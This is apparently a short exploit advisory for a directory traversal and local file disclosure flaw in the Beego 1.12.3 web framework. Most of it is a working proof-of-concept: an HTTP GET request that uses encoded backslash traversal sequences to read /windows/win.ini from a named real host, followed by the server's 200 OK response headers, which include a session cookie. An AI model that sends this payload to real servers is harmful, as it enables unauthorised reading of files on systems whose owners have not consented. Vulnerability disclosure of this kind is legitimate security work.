📄 Beego 1.12.3 Directory Traversal / Local File Disclosure

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    | # Title     : Beego 1.12.3 Directory Traversal / Local File Disclosure                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/beego/beego                                                                                              |
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    [+] References :  
    
    [+] Summary : The vulnerability confirmed here is a Directory Traversal / Local File Disclosure affecting an application running on Beego 1.12.3.
    
    [+]  POC :	
    
    GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1
    Host: door.casdoor.com
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
    Accept: */*
    
    Response
    HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Length: 92
    Content-Type: text/plain; charset=utf-8
    Date: Sat, 06 Dec 2025 14:35:45 GMT
    Last-Modified: Sat, 08 May 2021 08:18:31 GMT
    Server: beegoServer:1.12.3
    Set-Cookie: casdoor_session_id=891e4bf2d09b3240b7d1dd82ceba5c0f; Path=/; Expires=Mon, 05 Jan 2026 14:35:45 GMT; Max-Age=2592000; HttpOnly
    Original-Content-Encoding: gzip
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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